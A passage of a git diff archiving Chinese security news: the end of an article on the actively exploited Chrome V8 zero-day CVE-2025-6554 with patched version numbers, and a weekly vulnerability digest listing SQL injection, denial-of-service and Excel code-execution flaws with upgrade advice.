+零日漏洞——尤其是影响Chrome等浏览器的漏洞——是国家行为体、高级持续性威胁（APT）组织和以经济利益为目的的网络犯罪分子的主要目标。V8引擎中的类型混淆漏洞此前曾被用于"路过式下载"攻击、沙箱逃逸以及通过看似无害的网站投递恶意负载。 + + +**Part03** +### 更新信息 + + +本次发布的补丁版本号为：Windows 版138.0.7204.96/.97、Mac 版138.0.7204.92/.93、Linux 版 138.0.7204.96，将在未来数日乃至数周内逐步推送。 + + +谷歌在公告中警告：已确认CVE-2025-6554漏洞的野外利用实例存在。 +鉴于该漏洞的敏感性及其潜在影响，在大多数用户获得保护前，完整技术细节仍将受限。 + + +**参考来源：** + +Google Patches Actively Exploited Chrome Zero-Day: CVE-2025-6554 + +https://securityonline.info/google-patches-actively-exploited-chrome-zero-day-cve-2025-6554/ + + +### +### +### + +**推荐阅读** + +[](https://mp.weixin.qq.com/s?__biz=MjM5NjA0NjgyMA==&mid=2651324007&idx=1&sn=b6bab0cab5bd97eeccb29752661d50e0&scene=21#wechat_redirect) + +### 电台讨论 + +**** + + + +![图片](https://mmbiz.qpic.cn/mmbiz_gif/qq5rfBadR3icF8RMnJbsqatMibR6OicVrUDaz0fyxNtBDpPlLfibJZILzHQcwaKkb4ia57xAShIJfQ54HjOG1oPXBew/640?wx_fmt=gif&wxfrom=5&wx_lazy=1&tp=webp "") + diff --git a/doc/2025-07/雷神众测漏洞周报2025.6.23-2025.6.29.md b/doc/2025-07/雷神众测漏洞周报2025.6.23-2025.6.29.md new file mode 100644 index 00000000..bc0d96c2 --- /dev/null +++ b/doc/2025-07/雷神众测漏洞周报2025.6.23-2025.6.29.md @@ -0,0 +1,168 @@ +# 雷神众测漏洞周报2025.6.23-2025.6.29 +原创 雷神众测 雷神众测 2025-07-01 08:16 + +摘要 + + +以下内容，均摘自于互联网，由于传播，利用此文所提供的信息而造成的任何直接或间接的后果和损失，均由使用者本人负责，雷神众测以及文章作者不承担任何责任。 + + +雷神众测拥有该文章的修改和解释权。如欲转载或传播此文章，必须保证此文章的副本，包括版权声明等全部内容。声明雷神众测允许，不得任意修改或增减此文章内容，不得以任何方式将其用于商业目的。 + + +目录 + + +**1.用友网络科技股份有限公司U8 Cloud存在SQL注入漏洞** + +**2.用友网络科技股份有限公司用友NC65存在SQL注入漏洞** + +**3.新华三技术有限公司H3C N12存在拒绝服务漏洞** + +**4.Microsoft Excel代码执行漏洞** + + +漏洞详情 + +**1.用友网络科技股份有限公司U8 Cloud存在SQL注入漏洞** + + +漏洞介绍： + +U8 Cloud是一款企业上云数字化平台，集交易、服务、管理于一体的ERP整体解决方案‌‌。 + + +漏洞危害： + +用友网络科技股份有限公司U8 Cloud存在SQL注入漏洞，攻击者可利用该漏洞获取数据库敏感信息。 + + +影响范围： + +用友网络科技股份有限公司 U8 Cloud + + +修复方案： + +及时测试并升级到最新版本或升级版本 + + +来源: +CNVD + +**2.用友网络科技股份有限公司用友NC65存在SQL注入漏洞** + + +漏洞介绍： + +用友NC65是面向中大型企业的集团级ERP系统。 + + +漏洞危害： + +用友网络科技股份有限公司用友NC65存在SQL注入漏洞，攻击者可利用该漏洞获取数据库敏感信息。 + + +影响范围： + +用友网络科技股份有限公司 用友NC65 + + +修复方案： + +及时测试并升级到最新版本或升级版本 + + +来源： +CNVD + + +**3.新华三技术有限公司H3C N12存在拒绝服务漏洞** + + +漏洞介绍： + +H3C N12是中国新华三（H3C）公司的一款无线路由器。 + + +漏洞危害： + +新华三技术有限公司H3C N12存在拒绝服务漏洞，攻击者可利用该漏洞导致拒绝服务。 + + +影响范围： + +新华三技术有限公司 H3C N12 + + +修复方案： + +及时测试并升级到最新版本或升级版本 + + +来源： +CNVD + +**4.Microsoft Excel代码执行漏洞** + + +漏洞介绍： + +Microsoft Excel是美国微软（Microsoft）公司的一款Office套件中的电子表格处理软件。 + + +漏洞危害： + +Microsoft Excel存在代码执行漏洞，攻击者可利用该漏洞执行任意代码。 + + +漏洞编号： + +CVE-2025-47165 + + +影响范围： + +Microsoft Excel 2016 + +Microsoft Office Online Server + +Microsoft 365 Apps for Enterprise + +Microsoft Office LTSC 2021 + +Microsoft Office LTSC for Mac 2021 + +Microsoft Office 2019 + +Microsoft Microsoft Office LTSC 2024 + +Microsoft Office LTSC for Mac 2024 + + +修复方案： + +及时测试并升级到最新版本或升级版本 + + +来源： +CNVD + + + + + + +![](https://mmbiz.qpic.cn/mmbiz_jpg/HxO8NorP4JXfumibf1QmwSmeFFBhAibX4meBUvqprl26SxeeqsNI4XIEPjKGs7PPk2S9O2rMACACdUxGLuoicqmmA/640?wx_fmt=jpeg&from=appmsg "") + +专注渗透测试技术 + +全球最新网络攻击技术 + + +**END** + +![](https://mmbiz.qpic.cn/mmbiz_jpg/HxO8NorP4JXfumibf1QmwSmeFFBhAibX4mv5k7hwiaIbIwgVuavf96Xmia2iamyU0FW2q7aAv1L8pfMrfQeWGBjIib1Q/640?wx_fmt=jpeg&from=appmsg "") + + +